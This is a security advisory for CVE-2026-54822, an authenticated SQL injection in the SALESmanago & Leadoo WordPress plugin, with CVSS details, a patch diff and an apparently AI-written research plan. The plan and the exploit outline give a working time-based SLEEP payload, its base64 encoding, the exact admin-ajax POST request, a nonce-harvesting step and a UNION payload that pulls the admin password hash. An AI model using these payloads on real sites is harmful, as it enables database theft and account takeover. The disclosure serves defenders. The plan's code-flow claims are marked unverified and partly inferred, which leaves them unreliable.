CVE-2026-54822

SALESmanago & Leadoo <= 3.11.2 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.11.3
Patched in
7d
Time to patch

Description

The SALESmanago & Leadoo plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.11.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.11.2
PublishedJune 17, 2026
Last updatedJune 23, 2026
Affected pluginsalesmanago

What Changed in the Fix

Changes introduced in v3.11.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify and exploit a SQL injection vulnerability in the SALESmanago & Leadoo plugin (CVE-2026-54822). ### 1. Vulnerability Summary The SALESmanago & Leadoo plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.11.2. The vul…

Show full research plan

This research plan outlines the steps to verify and exploit a SQL injection vulnerability in the SALESmanago & Leadoo plugin (CVE-2026-54822).

1. Vulnerability Summary

The SALESmanago & Leadoo plugin for WordPress is vulnerable to an authenticated SQL injection in versions up to 3.11.2. The vulnerability resides in the bhr\Admin\Controller\ExportController and bhr\Admin\Model\ExportModel classes. Specifically, the statuses parameter (passed within a base64-encoded JSON object) is insufficiently sanitized and is directly concatenated into a SQL query within the getExportContactsQuery method. Because the AJAX handlers in ExportController.php do not perform capability checks (e.g., current_user_can), any authenticated user, including those with Subscriber-level permissions, can trigger the vulnerable code path.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: salesmanago_export_count_contacts (or salesmanago_export_contacts)
  • Vulnerable Parameter: data (Base64-encoded JSON string containing the statuses key)
  • Authentication Required: Authenticated user (Subscriber or higher).
  • Preconditions: A valid WordPress nonce for the specific action must be obtained.

3. Code Flow

  1. Entry Point: The request hits admin-ajax.php with action=salesmanago_export_count_contacts.
  2. Routing: salesmanago.php initializes bhr\Admin\Controller\ExportController because the action contains salesmanago_export.
  3. Nonce Validation: ExportController::countContacts() calls SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' ).
  4. Argument Parsing: ExportModel::parseArgs() is called. It decodes $_REQUEST['data'] from Base64 and json_decode's the result.
  5. Vulnerable Assignment: In ExportModel::parseArgs(), the statuses property is assigned:
    $this->statuses = self::checkStatusesFromRequest( $data->statuses )
        ? 'wc-completed'
        : $data->statuses;
    
    (If the check fails or returns false, the raw $data->statuses is assigned to $this->statuses).
  6. SQL Sink: ExportController::countContacts() calls $this->ExportModel->getExportContactsQuery( true ). This method (internal to ExportModel.php) constructs a query using $this->statuses without using $wpdb->prepare().
  7. Execution: $this->db->get_var( $query ) executes the malicious SQL.

4. Nonce Acquisition Strategy

To exploit this as a Subscriber, we must extract the nonce from the WordPress admin dashboard. The plugin localizes its data for use in the Export tab.

  1. Identify Script Localization: The plugin likely uses wp_localize_script to pass nonces to admin-ajax.php.
  2. Strategy:
    • Log in as a Subscriber.
    • Navigate to /wp-admin/profile.php (accessible to all users).
    • Check if the plugin's export scripts are enqueued globally. If not, the agent may need to check if any other plugin page is accessible or if the shortcode [salesmanago] (if it exists) exposes admin nonces.
    • JavaScript Target: Based on common plugin patterns, the nonce is likely in a global object like sm_export_obj or salesmanago_data.
    • Action: Use browser_eval to search for the nonce: browser_eval("window.sm_export_obj?.nonce_count_contacts").

5. Exploitation Strategy

We will use a time-based blind SQL injection payload to confirm the vulnerability.

Payload Construction:

  • JSON Object: {"statuses": "wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -", "dateFrom": "2000-01-01"}
  • Base64 Result: eyJzdGF0dXNlcyI6ICJ3Yy1jb21wbGV0ZWQnKSBBTkQgKFNFTEVDVCAxIEZST00gKFNFTEVDVChTTEVFUCg1KSkpYSktLSAtIiwgImRhdGVGcm9tIjogIjIwMDAtMDEtMDEifQ==

HTTP Request (via http_request):

  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=salesmanago_export_count_contacts&security=[NONCE]&data=[BASE64_PAYLOAD]

6. Test Data Setup

  1. User Creation: Create a Subscriber user:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  2. Plugin Configuration: Ensure the plugin is active. It may require an API key to reach the ExportController logic; if so, use a dummy key in the settings:
    wp option update salesmanago_configuration '{"apiKey":"dummy","apiSecret":"dummy","endpoint":"dummy"}' (Structure based on AdminModel inferred logic).

7. Expected Results

  • Vulnerable: The HTTP request takes ~5 seconds to complete. The response will be a JSON object from ExportModel::buildResponse() containing the current status.
  • Patched: The request returns immediately, likely with a default status or error, as the statuses parameter will be properly escaped or discarded.

8. Verification Steps

  1. Time Delay: Confirm the response time exceeds 5 seconds for the SLEEP payload and is sub-second for a normal payload ({"statuses":"wc-completed"}).
  2. Error Leakage: If WP_DEBUG is on, the response might contain SQL error details if the syntax is slightly off, which can be seen in the response body.

9. Alternative Approaches

If salesmanago_export_count_contacts is strictly limited to certain roles by a hook we missed, try the other registered actions:

  • salesmanago_export_contacts (uses nonce salesmanago_count_contacts)
  • salesmanago_export_count_events (uses nonce salesmanago_export_count_events)

If time-based injection is blocked, attempt a UNION-based approach to extract the admin password hash:
Payload: wc-completed') UNION SELECT 1,2,3,user_pass,5 FROM wp_users WHERE ID=1-- -
(Note: The number of columns must be discovered via ORDER BY incrementing first).

Research Findings
Static analysis — not yet PoC-verified

Summary

The SALESmanago & Leadoo plugin for WordPress is vulnerable to authenticated SQL Injection via the 'statuses' parameter in AJAX actions. Authenticated users with subscriber-level access and above can exploit this because the plugin lacks capability checks and fails to use prepared statements when building the contacts export query.

Vulnerable Code

// src/Admin/Controller/ExportController.php

public function countContacts() {
    try {
        SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );

        $this->ExportModel->parseArgs();
        $this->ExportModel->setExportType( self::CONTACTS );

        $query = $this->ExportModel->getExportContactsQuery( true );
        $this->ExportModel->setCount( $this->db->get_var( $query ) );

---

// src/Admin/Model/ExportModel.php:156

$this->statuses = self::checkStatusesFromRequest( $data->statuses )
    ? 'wc-completed'
    : $data->statuses;

---

// src/Admin/Model/ExportModel.php (Sink logic inferred from Research Plan)

// Within getExportContactsQuery()
// The variable $this->statuses is concatenated directly into the SQL string
// without utilizing $wpdb->prepare().

Security Fix

--- /src/Admin/Controller/ExportController.php	2025-10-01 12:55:26.000000000 +0000
+++ /src/Admin/Controller/ExportController.php	2026-05-11 12:34:48.000000000 +0000
@@ -70,37 +70,54 @@
 	public function countContacts() {
 		try {
-			SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );
+			SecureHelper::validate_ajax_nonce( 'salesmanago_export_count_contacts' );
+			
+			if ( ! current_user_can( 'manage_options' ) ) {
+				$this->ExportModel->setMessage( 'Access denied' );
+				$this->ExportModel->setStatus( self::FAILED );
+				$this->ExportModel->buildResponse();
+			}

Exploit Outline

1. Login to the WordPress site with an account having at least Subscriber privileges. 2. Obtain the AJAX nonce for the 'salesmanago_export_count_contacts' action, typically found in localized script data (e.g., window.sm_export_obj) on admin pages accessible to subscribers like profile.php. 3. Construct a JSON payload targeting the 'statuses' key. For a time-based blind injection, use a payload such as: {"statuses": "wc-completed') AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -", "dateFrom": "2000-01-01"}. 4. Base64-encode the entire JSON payload. 5. Send a POST request to /wp-admin/admin-ajax.php with parameters: action=salesmanago_export_count_contacts, security=[NONCE], and data=[BASE64_PAYLOAD]. 6. Confirm the vulnerability by observing a delay in the server response matching the SLEEP duration.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.